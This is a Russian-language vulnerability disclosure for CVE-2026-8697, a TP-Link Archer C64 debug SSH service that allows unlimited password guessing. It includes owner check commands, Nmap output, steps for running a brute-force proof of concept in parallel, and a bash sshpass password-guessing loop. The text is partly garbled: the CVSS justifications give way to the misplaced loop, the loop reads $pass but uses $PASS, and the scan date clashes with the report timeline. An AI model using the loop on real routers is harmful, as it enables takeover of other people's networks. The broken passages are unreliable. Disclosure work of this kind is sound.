
Подробное описание CVE-2026-8697 с PoC-эксплойтом для обхода ограничения скорости входа в систему на маршрутизаторах TP-Link Archer C64 через отладочную службу SSH, что позволяет проводить неаутентифицированные атаки методом подбора паролей.
CVE-2026-8697 — логическая ошибка в ОС TP-Link Archer C64 (называется TPOS в отладочных сообщениях). Она позволяет любому непривилегированному пользователю, подключённому к маршрутизатору, обойти ограничение скорости веб-интерфейса, используя остаточный SSH-сервис. Простой Python-скрипт позволяет перебрать множество паролей за короткое время и получить полный административный доступ к маршрутизатору.
POC: poc.py
Маршрутизатор имеет отладочный SSH-сервис, который не предоставляет оболочку на маршрутизаторе, а просто завершает работу при вводе правильного пароля. Однако он использует тот же пароль, что и административный интерфейс, и не имеет ни ограничения скорости, ни политик блокировки. Таким образом, его можно использовать как высокоскоростной оракул аутентификации для подбора пароля. Эту уязвимость могут использовать вредоносные или скомпрометированные IoT-устройства в сети для получения полного административного доступа к маршрутизатору. Злоумышленник не может получить доступ к оболочке через этот интерфейс, но может легко проверить учётные данные, чтобы скомпрометировать основной веб-интерфейс управления.
Эта уязвимость исправлена в версии прошивки 1.15.0, которая просто удаляет сервис. Чтобы проверить свой маршрутизатор, используйте эту команду (Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
Замените IP-адрес на адрес, который вы используете для подключения к веб-интерфейсу маршрутизатора. Если вывод — 0 или отображается succeeded!, то ваш маршрутизатор уязвим. В противном случае — нет.
В Windows выполните следующее в PowerShell:
tnc 192.168.0.1 -Port 22
Если отображается TcpTestSucceeded : True, то ваш маршрутизатор уязвим. В противном случае, если он зависает или показывает False, то он не уязвим.
Ошибка полностью логическая и не требует повреждения памяти, обхода ASLR или выигрыша в гонке.
В то время я изучал Nmap и ради забавы решил просканировать свой маршрутизатор. Я не искал уязвимости, но заметил открытый SSH-сервис.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
В логе выше показан SSH-сервис, работающий на OpenSSH 6.6.0 (устаревшая версия 2014 года, но версия значения не имеет). Увидев очень старую версию, я заподозрил, что она может быть использована злоумышленником, и попытался подключиться по SSH с намерением получить оболочку и обновить прошивку. В тот момент я пытался защитить свой маршрутизатор, а не найти уязвимости. Однако подключение выявило интересную проблему: алгоритмы хост-ключа и открытого ключа не поддерживались моей версией OpenSSH. Использование -o также не сработало в моей системе, поэтому мне пришлось использовать контейнер debian:bullseye-slim, в котором есть клиент OpenSSH, поддерживающий алгоритмы diffie-hellman-group14-sha1 и ssh-dss.
Внутри контейнера после установки клиента OpenSSH я смог подключиться к SSH-серверу.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
Я использовал эту команду и наконец смог подключиться к SSH-серверу, который встретил меня сообщением TPOS 5 IPSSH Test и запросом пароля. Однако после ввода пароля соединение сразу закрывалось. Я даже попробовал напрямую выполнить команду, но она не выполнилась. Я понял, что оболочки нет, поэтому злоумышленник не сможет получить доступ к моему маршрутизатору. Значит, мой маршрутизатор в безопасности, верно? Ну, не совсем. Я понял, что, хотя вы не получаете никакого доступа, вы узнаёте, правильный пароль или нет. И этот пароль совпадает с паролем веб-интерфейса, и не было абсолютно никаких ограничений скорости или чего-либо, что могло бы остановить атаку перебором. Тогда мне пришла идея превратить это в CVE. Я попытался автоматизировать атаку. Сначала я использовал sshpass в цикле bash, но нельзя было использовать несколько паролей за одно соединение, поэтому я попробовал написать Python-скрипт. Это и есть приложенный POC.
Чтобы использовать POC, сначала создайте виртуальное окружение и установите pexpect. Обратите внимание, что скрипт не использует модуль pxssh из Pexpect, так как он не поддерживает попытки нескольких паролей в одном соединении.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
Сохраните скрипт как poc.py и запустите его. Вы можете дополнительно передать путь к файлу со списком паролей, разделённых переводами строк, в качестве первого аргумента. Если этого не сделать, будут использоваться числа от 1 до 100 в качестве паролей (для проверки скорости).
python3 poc.py list.txt
Вы можете распараллелить атаку, запустив несколько экземпляров с разными списками. Если запустить более 3 экземпляров, начнут появляться ошибки соединения. Скрипт всё равно гарантирует, что все пароли будут опробованы.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
Злоумышленник может использовать вредоносное или скомпрометированное IoT-устройство в сети для подбора пароля и получения административного доступа к интерфейсу администратора. Пользователь не получает никаких признаков того, что это происходит, и злоумышленник может делать это в течение длительного времени без обнаружения. Получив доступ к интерфейсу администратора, злоумышленник может изменить настройки DNS для выполнения DNS-перехвата, изменить пароль Wi-Fi, чтобы заблокировать пользователей, использовать статическую маршрутизацию для перехвата незашифрованного трафика или блокировать доступ к сети, направив его на несуществующий IP-адрес, перенаправлять порты, отключить брандмауэр/ALG и многое другое.
Вектор атаки CVSS 4.0 для этой уязвимости:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
, что соответствует оценке 9.3 Critical. Мои обоснования для каждой метрики следующие:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(обратите внимание, что это медленнее, чем POC-скрипт, так как не пробует несколько паролей за одно соединение)
AV:A.Вендор (TP-Link) опубликовал эту уязвимость с оценкой 8.7 (High)
с вектором:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Однако данное исследование утверждает, что влияние на последующие системы не должно оцениваться как «None». Поскольку маршрутизатор является основным шлюзом для всех подключённых устройств:
Таким образом, более точное представление риска для домашней сети — 9.3/Critical, как обсуждалось выше.
Обновление прошивки маршрутизатора до 1.15.0 Build 250729 или новее исправит эту проблему.
Эта уязвимость была обнаружена и сообщена Tanjim Kamal.
| Дата | Событие |
|---|
| 2026-02-26 | Уязвимость сообщена команде безопасности продукта TP-Link |
| 2026-03-03 | Первоначальное подтверждение получено |
| 2026-03-14 | TP-Link подтверждает, что находится на этапе проверки и исправления |
| 2026-04-22 | TP-Link сообщает, что уязвимость исправлена в версии прошивки 1.15.0, но прошивка ещё публично недоступна |
| 2026-04-24 | Прошивка стала публично доступна |
| 2026-04-26 | Исправление подтверждено, запрошен идентификатор CVE |
| 2026-05-15 | Напоминание о 90-дневном сроке отправлено TP-Link |
| 2026-05-15 | Идентификатор CVE зарезервирован |
| 2026-05-29 | Публичное раскрытие |
| 2026-05-29 | Публикация отчёта (данный документ) |